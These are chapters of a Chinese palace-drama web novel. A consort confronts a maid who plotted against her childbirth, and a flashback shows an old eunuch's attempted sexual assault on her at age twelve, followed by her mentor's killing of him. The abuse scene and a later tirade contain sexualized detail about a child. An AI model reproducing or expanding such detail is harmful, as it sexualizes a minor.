槛儿坐在暖阁靠碧纱橱铺了软垫的椅子上,也没啰嗦,给银竹递个眼神。
下一刻,一个香囊被扔到望晴的脚边。
“我记得你之前是广储司首饰库的,我是衣作坊的,你我也算是共过事。”
“但我确定不认识你,可感觉你似乎认识我,说吧,你我之间有什么纠葛,值得你宁可不要命也要害我。”
第167章 槛儿杀过人(?!)望晴:“我都看到了!”
怎么会……
怎么可能!
宫里对火源管控极为严苛,她没办法把东西烧了,就趁半夜埋到后院去了。
为什么香囊会出现在这?!
望晴难以置信地看着脚边的东西,又听槛儿开门见山地问出这么一番话。
望晴脸上的血色霎时全无。
“主、主子……”
槛儿笑了笑,“我让人拿这个香囊和你此前给我做的两方帕子做了比对。
确认两者的绣花出自你之手,喜雨也说之前曾见你佩戴过这个香囊。”
“银竹看着你去后院埋的。”
“所以它是你的。”
望晴完全慌了。
她不知道香囊为什么会被发现。
不懂事情为什么会突然变成这样,明明离生产那天都过去半个多月了!
明明喜雨她们待她和往常没什么两样,宋槛儿也没照旧让她做着差事。
本来望晴还担心以宋槛儿敏锐的性子,会发现她前阵子的异样,察觉出她意图在助产油里动手脚的心思。
为此,她自打从雁荷那儿拿了花起就一直不敢放松警惕,生怕露出破绽。
宋槛儿生产当天。
她动手时慌过,临时改了想法放弃计划之后她当时也的确乱过一阵子。
可当时没人发现,事后这段时日也没事。
望晴就因此彻底把这件事放下了,也没再去想那些杂七杂八,却是没想到事情竟会在这时候被捅出来!
怎么办?
宋槛儿会怎么对她!
扑通!
望晴腿一软跪倒在地。
“是、是奴婢的,可……”
“你不用狡辩。”
槛儿直言道。
“明说你刚来我跟前伺候没几天的时候我便注意到你了,只不过碍于当时我刚晋位,没办法提出换人。
便留着你用了,自是对你有防备的,你前阵子见了谁去过哪我都知道。”
望晴瞳孔震颤,猛地抬头看向槛儿。
“雁荷没了。”
槛儿看着她,语调温和而平静。
“霜云背主,指使她来接近你怂恿你对我下手,我生产没多久她便招供了。
说你偷了她的花,这个香囊里的东西太医验过了,和雁荷供词里的一般无二。
另外,你碰过的那两罐助产油其实在拿进产房之前便被殿下的人换了。”
“所以现在你不必与我狡辩,我现在只想知道你想害我的原因,顺便解释你为什么会临时改了主意。”
为什么改了主意?
望晴自己也不知道。
她只记得当时听到了宋槛儿忍痛的声音,透过西厢的窗户看到她挺着肚子在正房门前的台阶上反复上下。
很莫名其妙,那一刻望晴陡然想起。
宋槛儿比她小一岁多。
被她打晕送到孔太监手上的时候,众所周知被太子妃推出来固宠的时候。
服侍太子的时候,承受妊娠之苦的时候,挺着肚子马上要生的时候。
宋槛儿一直都比她小一岁多。
望晴从不同情宫里哪个贵人主子,一个月不到二两银钱的奴才同情养尊处优的大小姐贵妇,说笑呢。
所以伺候宋槛儿这么久,就算宋槛儿以前过得不容易望晴也没有丝毫同情。
不值得同情。
偏就在那天,她想起宋槛儿比她小。
想起自己曾经站在门外看着孔太监欺辱她,泪流满面地一遍遍在心里对屋里十二岁的宋槛儿说对不起。
于是等望晴再反应过来的时候,她已经把两罐子油放回原来的地方了。
这会儿听宋槛儿说她早防着她,早知道她做了什么,望晴只觉得自己那天一时冲动生出来的同情像个笑话。
果然不值得同情。
“不说是吧?那便罢。”
槛儿见她一声不吭,拍了拍扶手道。
“银竹,把人送去元淳宫交给海公公。
就说望晴蓄意谋害皇孙私藏凶物,人证物证俱在,有劳他按律处置便可。”
银竹上来要拽起望晴。
望晴猛地挣开她,惊惧地摇头道:“不,您不要送奴婢走!别送奴婢走!
奴婢是一时糊涂才被雁荷哄骗,奴婢知错,奴婢真的知错了!所以奴婢什么也没做,东西奴婢都给埋了。
求您再给奴婢一次机会,奴婢不求能在您跟前侍候,让奴婢去杂役都行!只求您别送奴婢走,奴婢求您了!”
她不能被送走,一定不能!
本朝谋害皇嗣皇孙从根本上就是十恶不赦,无关乎是不是临时心软反悔。
只要人证物证都有,便逃不过一死!
除非有能说动太子乃至皇帝的人保她,否则不管被送去哪她都只有一死!
眼下能说动太子的人只有宋槛儿,只有她这个当事人和小皇孙的娘。
照太子当前对宋槛儿的宠爱,望晴相信只要她保她,太子就一定会准的!
望晴不想跪曾经和自己同样是奴才的人,也不想对一个被玷污过的人磕头。
可性命攸关她没有没办法!
她把头磕得砰砰响。
“奴婢求您!奴婢一时糊涂办了错事可奴婢悔悟了,求您看在奴婢伺候了您这么久的份上饶奴婢一回吧!”
槛儿不清楚望晴心里在想什么,但她了解人性,尤其宫里头的人性。
望晴此时的认错,并不是她真对自己险害了她们母子这件事感到愧疚。
不过是她为活命的让步。
于望晴本身而言,她这么做没有问题
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但不代表别人就要配合。
说白了这世上本就不存在什么“一时糊涂”,若一开始便没有这些念头,又有谁能哄骗蒙蔽得了她呢?
“奴婢、奴婢是因为您提拔了银竹喜雨,心有不甘才让雁荷钻了空子。
临时悔悟收手是因为奴婢当时看到您在院子里走,听到您难受的声音,奴婢突然想起您比奴婢小一岁……”
望晴带上了哭腔。
眼泪啪嗒掉地。
槛儿笑了一下。
起身往临窗的暖榻前走。
“化性起伪,朝秦暮楚,终难守一。”
“我留你至今一则殿下觉得你是我的人,予我处置你的权力,二则前些日子身子不爽利,便拖到了现在。
但我也改主意了,银竹,带她下去。”
银竹将望晴拽起来。
望晴不可思议地瞪大眼。
眼见槛儿由跳珠伺候褪去外衫,露出裹了收腹带尚不曾完全恢复的腹部。
眼看那曾被老太监玷污过的人现今高高在上地享受着别人的伺候。
望晴满心委曲求全的耻辱因着眼前所见和被戏耍,陡然化为愤怒仇怨。
“宋槛儿——”
她扭头扬手对准银竹的脸就要一巴掌,被银竹飞快钳制住后她不顾银竹的拖拽歇斯底里地挣扎嘶嚎。
“你耍我你敢耍我!你有什么了不起的?你除了那身皮子有什么了不起的!”
跳珠厉眼一扫。
过去就是两巴掌!
望晴不知痛也似。
竟是忽然哈哈笑出声来。
“孔喜德脱了你的衣裳,摸了你的脸你的胸,那老阉狗的口水都流到你身上了!”
银竹堵她的嘴。
望晴却像似一条疯狗扭头一口往银竹手上咬,嘴里发出撕裂的咆哮。
“你以为没人知道是不是?其实我都看到了我看到了!当时孔喜德都五十多了,而你宋槛儿才十二!
你一个刚来了癸水就和老太监对过食的小**凭什么得殿下的宠!又凭什么在这儿跟我摆主子的谱!”
“你以为你把他杀了就没人知道你和那老阉狗之间的腌臜事了?啊呸!知道这事儿的可不止我一个!”
“孔喜德摸得你舒服吗?我看你享受得很啊,哭得就跟殿下幸你的时候一样!”
啪!
门口,瑛姑姑手中的汤盅应声而碎,热腾腾的乌鸡汤浇了她一脚面她也恍若未觉。
槛儿忽地头痛欲裂。
孔喜德、孔喜德……是那老太监的名字?
她当时有哭吗?
她杀过人?
庭院里。
提前下值的太子一身月白织金妆花云肩团龙纹大氅,长身玉立、雍容华贵。
小福子等人跪了满院。
第168章 (合章)槛儿惊魂逃魔爪,姑姑手刃死太监!
四年前。
八月十六,丑时过半。
中秋宫宴结束了一个半时辰了,广储司衣作坊的绣娘们相继回了住处歇下。
初十立了秋。
天气却是比酷暑时节还要来得热。
恭桶放在屋子里哪怕盖着盖儿,不到半个时辰也熏得屋中一股子味儿。
按规矩宫人的居所每日有专人巡检,逢脏乱差者同屋宫人一律杖十,重大典礼宴会前后审查得更为严格。
为了不被罚,每逢酷暑时节槛儿她们屋子里晚上便不会放置恭桶。
今晚歇得迟。
大伙儿回来洗漱之后倒头就睡,槛儿睡得迷迷糊糊间感觉身下不对劲。
意识到来了癸水,她困倦地起身穿上外衫,轻手轻脚从柜子里拿了月事带。
“槛儿,你做什么?”
星柳翻过身咕哝着问。
槛儿小声道:“月事来了,我去趟恭房。”
平时她们夜里要去恭房通常是结伴而行,但今天太累了,星柳困得慌。
“那你当心点啊,我太瞌睡了……”
“嗯嗯,你睡吧。”
圆月高悬,院子里一片清辉之色。
槛儿拎着盏小灯熟门熟路地来了恭房小院,不远处便是首饰库的宫女住处。
槛儿环视一圈,四周寂静无人。
她没作久留。
进了她们惯常用的一间恭房。
里面好几个隔间,槛儿随便择了一间进去关了门,把小灯笼放到脚边。
刚从怀里取出月事带,烛火跳跃了两下,外间一道轻微响动转瞬即逝。
虽说此处是宫女用的地方,平时也没出过什么事,但槛儿谨慎惯了。
闻声下意识屏住呼吸警惕了两息,安静得出奇,槛儿麻利地换上月事带。
出来时顺手带上小隔间的门,槛儿拎着灯笼鬼撵似的小跑着往外冲去。
眼见着冲出了黑乎乎的恭房,槛儿刚要松一口气,哪曾想“砰”一声。
后脑重重挨了一下。
槛儿暗叫不好。
可惜没来得及扭头看个究竟,眼前便是一黑。
再有意识时,槛儿先闻到了一股令人作呕的臭气,伴随野兽般的粗重喘息。
槛儿猛地惊醒。
谁知睁眼就见一张坑坑洼洼油腻肥肿的老脸近在咫尺,吐着臭气的粗厚嘴唇正下流地准备往她脸上亲!
槛儿吓得当场要推开此人,张嘴就要叫。
然而不待她动嘴出声,老太监蒲扇似的粗手掌就一把捂住了她的嘴。
同时肥壮的身躯将她压得严严实实。
“别叫,乖姑娘别叫。”
孔太监咧着大黄牙,被肥肉挤成两条线的眼睛里迸发着痴迷又猥琐的光。
槛儿浑身寒毛卓竖。
抓住老太监的手翻身要挣开,却是被对方一只手就将双手扣到了头顶。
“唔嗯!唔唔唔!”
槛儿惊恐地瞪大眼。
也是这时她骇然地发现自己身上的外衣没了,只剩了快要被脱掉的中衣!
“槛儿,好槛儿,睡着的时候美醒了更美,你这样的人儿生就是要给男人疼的,乖乖听话,让咱家疼疼你。”
“知道吗?你刚到广储司爷就看中你了,爷还想着把你调来首饰库呢。
可惜衣作坊那群臭老婆子说你心灵手巧,是个好苗子,她说什么也不肯放人。”
“没法子,爷只有等了,爷的眼光果真没错,料定你长大了是个不得了的美人儿,好槛儿快让爷亲香亲香。”
孔太监捂着槛儿的嘴,喘着粗气道。
整个人几乎要将槛儿压吐。
槛儿慌乱地躲开对方臭烘烘的嘴,拼了命抬起膝盖狠狠往孔太监身下一踹!
孔太监没防备。
当即发出一声惨嚎,双手也下意识放开槛儿捂住被踹的地方直个劲儿吸气。
太监那地处没法行事,但也会痛。
槛儿对此并不清楚。
她只是照之前瑛姑姑教的做了。
趁孔太监吃痛之际,槛儿翻身眼尖地找到地上的衣裳,抓起来就找门跑!
可惜她人小,没跑几步便被孔太监一把薅住头发拽回去狠狠摔到了桌案上。
腰撞到桌角,槛儿痛得几欲昏厥。
眼泪不可抑制地往下掉,没等她反应过来脸上就啪啪挨了孔太监几巴掌。
“小**!敬酒不吃吃罚酒!老子看上你是你的福气,**最好识相些让老子弄弄,若不然老子搞死你!”
说罢,他再一次将槛儿推到桌上。
粗短肥腻的两只手迅速解开腰带,脱了太监外袍,打开桌子下方的屉柜。
从中取出一个盒子来打开。
只见里头摆着大小不一的玉作物件,孔太监一面挑选一面口中念念有词。
然而槛儿听不太清了。
她的耳边嗡嗡作响,脸上阵阵火辣辣的疼。
她怕极了也恨极了。
宫女采选要样貌端正不得有残疾缺陷,她因着这张脸被选中得以有口饭吃。
也因着这张脸在宫里如履薄冰。
可生得好是错吗?
身子长得好是错吗?
不……
身体发肤受之父母。
哪怕再难再苦的时候,槛儿也从没觉得娘给她的这张脸这副身子是累赘!
槛儿知道私下里不少人说她骚,说她小小年纪便一副狐媚子长相。
说她长大了怕是离了男人不能活。
但他们也说可惜了,宫里真正的男人只有陛下、太子和其他皇子们。
这些贵人哪里会瞧中她。
要知道宫里给皇子们选侍寝宫女,最忌讳的就是狐媚子,没得掏空了皇子们的底儿,败坏皇家颜面。
他们说像她这么上不得台面的出身和长相,生就只配给太监做对食。
不过也可惜了。
宫里严禁对食。
他们让她如果要勾引哪个太监最好也离他们远点儿,没得被她连累了。
这些话是他们私下里说的,以防被上面的管事揪着说他们欺凌小宫人。
他们从不当面诋毁她什么,只会用那种奇怪的眼神看她,看似要将她剥光。
自是也有好人的。
像是瑛姑姑,像是星柳。
还有衣作坊的其他姐姐姑姑们。
可槛儿总会忍不住去在意那些恶意满满的流言蜚语,她愤怒、难过,也不懂。
不懂人为什么可以坏成这样。
明明她什么也没做,她甚至不认识他们。
不认识这个死老太监!
电光石火之间,眼看孔太监一手拿着一物,另一只脏手就要伸进她的衣摆里。
槛儿仓惶之间抓起桌案上的一方砚台,扬手朝他脑袋上就是狠狠一砸!
再砸!
砸!
她要堂堂正正地活!
要清清白白地活!
她才十二岁,她的人生才刚开始。
她不愿作践自己,她娘也不会希望她为了活命委身给这么一个死老太监!
“你找死……”
孔太监被砸了个猝不及防,反应过来攥住槛儿的手腕,发狠地掐住她的脖子。
槛儿通红着眼。
怕得周身止不住地抖,可她没有丝毫犹豫,当即忍痛换另一只手拿了砚台朝孔太监的另一侧脑袋狠砸!
一下、两下。
槛儿的力气和孔太监根本没得比。
能把对方砸得反应不及,完全靠的是她强撑着的一股子忍痛的毅力,和惊惧慌乱之下莫名其妙的冷静。
“砰”一声。
孔太监痴肥的身子轰然倒地。
犹如一座小山。
他满脑袋的血。
喉咙里发出近似野兽濒死的粗喘声。
槛儿像是终于回过神来,恐惧地看着孔太监,砚台从颤抖不止的手上掉落。
她吓了一跳。
在地上重新找到自己的衣裳,也不知穿没穿对,反正套上就慌不择路地跑了。
中秋之后的夜,忙碌了整整一天的众人似乎睡得格外沉,周遭一片死寂。
老太监住的地方是一个单独的库房,槛儿一路出来跌跌撞撞不知跑了多久。
冷不丁远远撞见一个人。
她下意识要躲。
却听那人出了声:“槛儿?是槛儿吗?”
槛儿一怔。
旋即再也忍不住,哭着朝来人扑过去。
“姑姑,姑姑!”
瑛姑姑接住她。
“星柳来找我说你出恭半天没回……这是怎么了?槛儿你遇上什么事了?!”
瑛姑姑拎起灯笼,将人从怀里捞起来才看到她肿得不像样的脸和脸上的血。
槛儿打着摆子,颤着嗓子小声道:“他要欺负我,我不从、我把他杀了……”
“我**了,姑姑我**了……”
“别急别慌。”
瑛姑姑面皮一绷,麻利地掏出手帕擦掉槛儿脸上的血,捧着她的脸道。
“告诉姑姑是谁,他人在哪?”
槛儿摇头:“我不认得他,是个老太监……胖老太监,很臭,我不记得什么地方了,好像很远……我不知道!”
“没事了,不会有事。”
瑛姑姑抱住槛儿,抱得很紧很紧。
“有姑姑在,槛儿不会有事,现在我送你回我住的地方,星柳那边我会去说。”
槛儿胡乱地点头。
“可是那老太监……”
“姑姑知道是谁了,现在就去找他,放心,就算真有事也只会是他不会是你。”
一路走一路安抚着。
到了住的地方。
瑛姑姑拿了消肿化瘀的膏子给槛儿,等她抹了药躺到床上,瑛姑姑才重新出来。
先去跟星柳打了招呼,出来之后瑛姑姑径直找去了孔太监住的小库房。
孔太监没死。
槛儿太小,成日里做绣活儿的力气根本不足以砸死一个满身肥肉的男人。
只是她慌乱中砸到了孔太监的太阳穴,加上砸了好几下,孔太监就昏沉了。
他那一脑袋的血其实只是看着吓人。
瑛姑姑赶到时。
孔太监正吭哧吭哧地从地上爬起来。
看到瑛姑姑,他阴恻恻地笑。
“舒瑛你完了,你管的那小贱皮子把老子打成这样,她一个,你一个,等着,老子会让你们**的都不知道。”
瑛姑姑进屋关上门,一只手在背后顺走了靠门架子上摆着的一件不大的礼器。
“孔喜德,做人不能这么丧尽天良,我早跟你说了别动我的人,别动我的人。”
孔太监根本没将她的话当回事。
冷笑一声站起身。
然而没等他站稳。
瑛姑姑缓步走到了他跟前,扬起礼器照着他脑袋上受伤的地方重重砸去。
礼器棱角端端砸中孔太监的伤处,老太监双目圆瞠,肥硕的身躯再度倒地。
“你、你……”
孔太监的身子不寻常地抽搐,几个呼吸的功夫之后,两眼呈空洞灰败状。
死不瞑目。
瑛姑姑喘着气,胸口剧烈起伏。
好半晌。
她终于平复呼吸。
弯腰把礼器对准孔太监,做出自然的状态放到地上,再推倒一旁的置物架。
眼见桌案上摆的物件,瑛姑姑的心底险有什么要爆开,好悬让她及时忍住。
她微颤着手将那些腌臜东西收起来扔进屉柜,又捡起桌下夹缝中的一朵绢花。
最后看向孔太监。
“孔喜德,该死的是你。”
从屋里出来,门口立着个三十出头的太监,其一双细长的眼透着精明的光。
瑛姑姑看他。
“他**,位置便是你的。”
那太监扯扯嘴角,做了个请的手势。
槛儿做了一晚的噩梦,醒来时天已大亮。
她怔忪了片刻。
回过神习惯性要去梳洗当差,被瑛姑姑拦住了:“今儿替你告了假,歇着吧。”
“姑姑。”
槛儿轻唤了一声,跟着脸白了白。
“姑姑,昨晚……”
瑛姑姑知道她想起了昨晚的事,刚准备安抚,岂料竟是听小姑娘说:
“昨晚有个老太监想欺负我,我……我拼命躲他,但我怎么到您这儿来了?是姑姑救我回来的吗?”
“等等,我怎么想不起那老太监长什么样了,我记得我是夜里去出恭了啊,为什么会被老太监欺负……”
“姑姑,我被他欺负了吗?我是不是……”
瑛姑姑错愕。
随即看着槛儿消了肿但仍留有几抹指印的稚嫩脸庞,瑛姑姑抱住了她。<
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br>“没有,槛儿没有被他欺负成,那人被姑姑告了一状,以后都不会再出现了。”
.
槛儿刚重生回来时,就莫名有种这具身子似乎忘了一件什么事的感觉。
但因着她前世死时年纪不小了,几十年前的某些事不记得也在常理之中。
所以槛儿并没有刻意去深究,这具身子潜意识里忘的那件事是什么。
去年嘉荣堂揪出了一对宫女太监对食。
小福子报来消息时,槛儿只记得自己曾险被老太监强迫做对食这一件事。
以及当时的恶心感。
对于那件事前后以及中间发生了什么,槛儿前世对此没印象,这辈子这具身子的脑袋里也没有相关记忆。
这大抵也是槛儿明知望晴早先也在广储司,察觉出了她的不对劲,却始终猜不到对方的不对劲的原因。
但现在。
听着望晴一声声歇斯底里的嚎骂。
槛儿忽然想起来了。
同时想起的,还有其中的另一件事。
“是你。”
“把我打晕送去给孔喜德的人,是你。”
“望晴。”
槛儿的话音落下,望晴刹那间如同被掐了脖子的鸡,脸皮不正常地抽搐着。
俨然一副被说中的模样。
倒是连审问都省了。
寒酥、跳珠和喜雨在听望晴骂出这番话时便惊在原地,各个面色煞白。
这会儿再听槛儿这么一说,三女更似被雷劈中,惊骇的同时也觉脑子不够用。
只不待她们想清其中究竟。
啪啪!
啪啪!
却是瑛姑姑不知何时走了进来,三两步来到望晴跟前扬手就是几巴掌。
“四年前主子十二,你才十三吧?也是,心肠坏跟年龄没多大关系,有些人就是生就坏种烂了根子的!”
瑛姑姑利落地打完,刚开口还挺平静,说到最后一句时表情和语气陡然发了狠。
“我不管你为什么要那么做,也不管你出于什么原因往主子身上泼脏水!
但我可以明明白白告诉你,主子清清白白堂堂正正!知道那事的不止你一个?那我也告诉你,能证明主子清白无辜的也不止我一个!”
瑛姑姑那几巴掌实打实下了狠劲,望晴的耳朵有片刻的失聪,嘴角淌出血来。
等她能听到声音时,正好听见了瑛姑姑最后半截子话,望晴脸色又是一变。
谁?
除了瑛姑姑谁还能证明宋槛儿的清白?宋槛儿她有个屁的清白可言!
瑛姑姑看出了她的想法。
手一抬,死死掐住她的下巴。
直到这一刻,平时总是温柔可亲的瑛姑姑才显现出她浸淫宫中多年的狠辣。
“早知你是这么一个坏种,我真该活撕了你!不过现在也不迟。
殿下明察秋毫,事情真相如何一查便知,你若不信我们大可以试试!”
说罢,甩开望晴的脸。
瑛姑姑转身对槛儿道:“主子,既然已经知道这坏种为什么要害您了。
那便无需再与她多言,谋害小皇孙和方才她诬您清白这两样事奴婢以为不妨都上报于殿下,烦请殿下定夺。”
槛儿之前没记起那桩旧事的细节,也就不清楚瑛姑姑在那之后做了什么。
但她了解瑛姑姑的手段。
姑姑敢这么说,就表示她当初善好了后。
至于望晴刚刚那番有鼻子有眼的话,若不是编的那便是当时她就在现场。
看着她被那老太监欺辱。
“就依姑姑说的,两件事都报给殿下,”槛儿坐在榻上,语气不咸不淡道。
望晴不敢置信。
把那桩事报给殿下,宋槛儿怎么敢!
当初把人交给孔太监时可是还有另两个小太监的,截止她被调来东宫那两人都还好好地在首饰库当差。
以宋槛儿和瑛姑姑现在的本事,不可能把手伸到广储司还不被人发现。
宋槛儿难道不怕太子查到那两人,得知她当年确实进过孔太监的屋吗!
一个豆蔻之龄的姑娘夜里跟一个老太监同处一室,不管他俩做没做什么。
光是这么一件事就没有清白可言了,宋槛儿哪来的底气让太子知道这事!
望晴的心思写在脸上,槛儿看得清楚。
不过她没废话解释。
只笑了笑道:“姑姑说得对,有些人就是天生烂了根子的坏种,所以我也不打算问你为什么要那么做了。”
“银竹,堵了坏种的嘴带下去吧。”
坏种坏种坏种!
望晴满脑子都是这两个字,被槛儿戳穿了真相的心虚彻底成了恼羞成怒。
她想说她不是坏种。
想说她们凭什么这么说她!
她也苦啊。
她也想活下去啊。
只要牺牲一个陌生人就能让她不被欺辱,她就能活下去,她有什么错?
为自己着想有什么错!
她也想要姑姑护,可是她没有!
宋槛儿一个有人护有人疼的人,有什么资格说靠自己过日子的她是坏种!
望晴不甘不服。
可惜这回她连开口的机会都没有,便被银竹拿刚擦完灰尘的抹布堵了嘴。
但就在银竹拖着人刚走到碧纱橱的帘架门时,一道挺拔颀长的人影步了进来。
银竹忙拽着望晴避让行礼。
“殿下?”槛儿错愕地起身迎上去,“您怎生这时候得空过来了?”
也是自打太子允了她不必在他跟前谦称之后,两人相处时便多了些亲昵。
若不然换成以前,槛儿是断不会这么问的。
骆峋答非所问地“嗯”了一声,随即见屋中分明烧了地龙,她却面色泛白。
他的眸光不显地沉了沉。
“唔唔!唔唔!”
望晴以往见到太子从不敢抬头,此时却是憋红了脸挣扎着想奔到太子跟前。
意欲何为,不言而喻。
可惜,太子一个眼风也没给她。
只握住槛儿的手将人往暖榻上带,话是对海顺说的:“去审,要实话。”
海顺躬身应下。
望晴惊恐地鼓着眼,被拖走前看到的最后一幕,是太子拢了拢槛儿耳畔的头发。
“孤今日提前散衙……”
第169章 太子得知真相,曜哥儿保护娘!
瑛姑姑不久前打翻的那盅汤早让人收拾了,喜雨重新跑一趟膳房,寒酥和跳珠奉上茶点后悄然退出暖阁。
屋中只留了瑛姑姑。
海顺则照旧立在太子一侧的角落。
短暂的沉默后,槛儿看向太子。
“您、都听见了对吗?”
骆峋:“嗯。”
槛儿抿抿唇。
没有马上接话。
她敢将事情报给太子,自然不是莽撞之举。
上辈子她都快坐到太后的位置了,跟了这人一辈子这件事也没被牵扯出来。
足以说明要么瑛姑姑当时真没留下任何蛛丝马迹,要么就是这人知而不宣。
槛儿更倾向于后者。
不是不信瑛姑姑,而是两辈子她们在今日之前都不知道暗害她的是望晴。
也就是说。
熟知整件事的望晴。
前世是没有被瑛姑姑除掉的,可事情却直至槛儿临终都没被扯出来。
是望晴守口如瓶了吗?
不见得。
望晴入宫之初签的也是死契。
换而言之,前世槛儿盛宠的每一段时期望晴都在宫里,宫人不可唤主子名讳,但不代表众人不知道主子名讳。
就像上辈子瑛姑姑便是听说了槛儿的名字,才会想方设法来了她跟前。
所以前世,望晴也必定知道槛儿受宠。
而像望晴那般几句话就能被人动摇的,槛儿不信她能平衡,能禁得住诱惑。
要知道上辈子槛儿可挡了不少人的路,见缝插针地想要对付太子的也不少。
望晴这么大一个漏洞。
怎么可能不被人发现并利用呢?
所以只能是太子或是成了庆昭帝的他,知道了这件事且被他压了下来。
之前金承徽构陷她的那次。
槛儿因着没想起这件事,才会不确定太子会不会如了金承徽和曹良媛的愿,介意她和谁有染的这种谣言。
如今槛儿想起这件事了。
她便确定了。
太子不会介意,至少类似上回那般的谣言和她被人坑害的往事,他不会介意。
这也是槛儿会同意瑛姑姑的主张,把望晴诬她清白一事报给太子的原因。
望晴恐怕死也不会知道,槛儿仅在得知真相的瞬间便想通了其中关节。
不过笃定归笃定,面上自是不能这般表现,因此槛儿抓着太子忐忑地看他。
也没说话,就这么踌躇地看一眼、两眼。
骆峋惯是不喜形于色,也叫人一时看不出他什么心思,和槛儿对视片刻。
他看向瑛姑姑。
“说吧。”
约莫过了一刻钟。
瑛姑姑陈述完了当年她所知晓的整件事的实情,也是没必要再瞒,更不想瞒。
望晴谋害皇孙死不足惜。
如果不是槛儿想弄清和此女之间可能存在什么渊源,根本不会留她至此。
如今知道了望晴对槛儿做过那样的事,瑛姑姑只恨不得把人千刀万剐了!
说完了事,瑛姑姑恭敬郑重地拜下。
“奴婢擅杀内侍,违逆宫规律法,甘愿领罚,但请殿下明鉴,宋良娣在广储司时素来兢兢业业,慎重其事。
奴婢以性命担保,宋良娣此前不曾与人交恶,与他人往来从无非分之举。”
“当时奴婢寻至孔喜德住处,对方刚从昏迷中醒来,正是良娣竭力抵抗之证。
广储司首饰库宫人内库管事蒋明祥可作证,宋良娣清誉未玷,无辜受屈。”
“奴婢罪无可赦,但求殿下明察秋毫为良娣主子做主,还良娣一个公道!”
大抵是出于对这件事本能的厌恶和恐惧,槛儿的脑子才自发忘了这事。
而上辈子郑氏在她身边安排了人,致使望晴没有被调到她跟前伺候。
自然而然没有这桩事激起槛儿的记忆,也就不知瑛姑姑竟为她做了这么多。
槛儿刚刚还在想瑛姑姑怎么处理的那下流奸滑的老太监,没想到竟是为她……
槛儿一下子红了眼,不待太子开口,起身护到瑛姑姑身前朝太子跪下。
“殿下明鉴,姑姑之罪责在于妾身。”
“若非姑姑相救,妾身早遭奸奴胁迫投井明志了,恳请殿下、恳请殿下看在妾身近一年微末服侍的份上……”
“起来。”
话没说完,太子打断了她的话。
接着眼前也多了一只大掌。
槛儿抬头,泪眼婆娑的。
“殿下……”
骆峋看着悬在她睫羽上将落不落的两滴泪,头一回无奈地在心中叹了口气。
“月子期间哭个什么?起来。”
他不提坐月子还好,一提槛儿的眼泪反而收不住,也是她生产完才半个多月。
正处于常见的月子愁期间,时不时便会克制不住地低落恍惚,哭笑无常。
加之刚想起那么一件令她作呕的旧事,当着太子的面,槛儿便克制不住地委屈了。
大抵是知道他不会介意,加上这件事已经让他知道了,没办法瞒住了。
且槛儿在外人眼里终归年纪不大,她总得对这件事表现出该有的态度。
于是,槛儿不忍了。
手往太子掌心一搭,人便哭了出来。
“当时恭房好黑,我怕有鬼追我……我头也不敢回地冲了出去,外面月亮大,谁知我刚松口气就挨了一下。
我都不知道谁打了我,醒来就到了陌生地儿,他要欺负我,我不从。
他就对我又摔又打,我也打他,我抓起砚台使劲儿对他左右开弓,把他打得满脑袋血,打完我就跑了。”
“我以为我**了。”
“殿下,我以为我**了……我真的没被他欺负成,您信我,我没有……”
两辈子。
前世除了刚侍寝那晚槛儿怕太子走了,哭得收不住,以及前世曜哥儿死的时候不顾一切地嚎啕大哭过。
其他时候在太子跟前,她连泪珠子具体掉几颗,什么时候掉都能精准控制。
像这样哭得宛如一个真正的十六七岁的小姑娘,真是破了两辈子的天荒。
也不是那种撕心裂肺地哭嚎,就是受尽委屈般哭诉,声音小但泪势汹涌。
开了闸的水阀似的。
看得瑛姑姑红了眼。
海顺也背过身去拭了拭眼角。
骆峋的脸绷得厉害。
不是对槛儿的失仪。
而是他想到了方才那刁奴的恶言,再结合瑛姑姑所述和她当前的哭诉。
骆峋的脑海中便拼凑出了十二岁的她,面对老太监的胁迫拼死抵抗的画面。
骆峋闭了闭眼,再睁开,冷眸里难得显现出几分肉眼可见的温和。
“不哭,仔细伤了眼。”
他接过海顺递的帕子给槛儿擦擦脸,沉声安抚道,又将人揽到怀里。<
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br>刚要说什么。
西厢那头传来小奶娃震天的哭嚎。
那家伙。
哭得可比他娘豪放多了。
细嫩的嗓子要劈叉也似,槛儿他们在正房这边都听得耳朵发麻,心惊胆战。
当爹的微微蹙眉。
“他平日里便是这般哭闹的?”
这半个月他基本每晚过来,但槛儿坐月子他不便留宿,待得时间便不长。
且期间儿子并无闹腾。
当爹的就没听过他这么哭。
槛儿抽抽鼻子摇了摇头坐起身:“他平时乖,不怎么哭,顶多哼唧几下。”
据奶娘说那也是小家伙尿了或是想拉了,这么乖巧的孩子槛儿还是头一回见。
骆峋示意海顺过去看看。
没多会儿海顺回来,身后跟着奶娘。
还有要掀屋顶的小皇孙。
“殿下,良娣主子,小主子刚喝奶喝得正好,也不知怎么突然就闹开了,奴婢们仔细检查了没发现什么问题。”
奶娘急得满脸冷汗,也是怕的。
“抱来我看看。”
槛儿顾不得哭了,伸手道。
也是奇了。
小皇孙一到娘怀里便收了声,哭倒是还在哭,就是声音小了不止一星半点儿。
相较于刚生出来那会儿曜哥儿身上的粉红褪得差不多了,眼睛也消了肿。
是和太子一样的丹凤眼,只双眼皮比太子的略宽一点儿,瞳子又大又黑,能看到一排浅浅密密的睫毛。
这会儿被泪水黏着,好不可怜的模样。
屋里暖和,槛儿把襁褓给儿子脱了。
小家伙穿着贡缎制成的百衲衣,手脚动了起来,朝娘的脸直伸小手。
槛儿的心软成一团,低头让他够。
曜哥儿碰到娘的脸,可惜他人小,若不然真是恨不得将那叫望晴的宫女杖杀了!
他刚刚在睡觉。
谁知睡着睡着,突然梦到娘审问望晴。
之后那望晴猛地暴起对他娘骂出那些污言秽语,曜哥儿一下子就醒了。
他前脚醒,后脚便听到正房这边传来望晴对娘的谩骂,和梦里的一模一样。
曜哥儿一怒之下怒了一下。
喝着奶留意正房的动静,知道他爹来了,下令严审望晴,曜哥儿松了口气。
结果这口气没松多久。
他的脑海里又出现了他娘和瑛姑姑向他爹请罪,和他娘哭诉的画面。
曜哥儿的小脑袋里就大致拼出了一件事,知道娘以前被望晴差点害惨。
曜哥儿愤怒的同时也心疼娘。
他娘好苦啊。
比癞瓜还苦。
所以曜哥儿绷不住哭了起来,想借此到娘这儿来,转移娘的注意力。
也是担心他爹会为了这事对他娘心存芥蒂,所以曜哥儿过来提醒他爹。
娘可是刚为他生了娃的。
诞育皇孙有功,父王可不能过河拆桥。
槛儿可不知道儿子这么小就知道护着她了,看儿子摸她的脸直个劲儿盯着她看,模样乖巧似是忘了哭。
槛儿突然很庆幸。
幸好当初她奋力反抗了,也幸好有瑛姑姑,若不然两辈子哪有后面的日子。
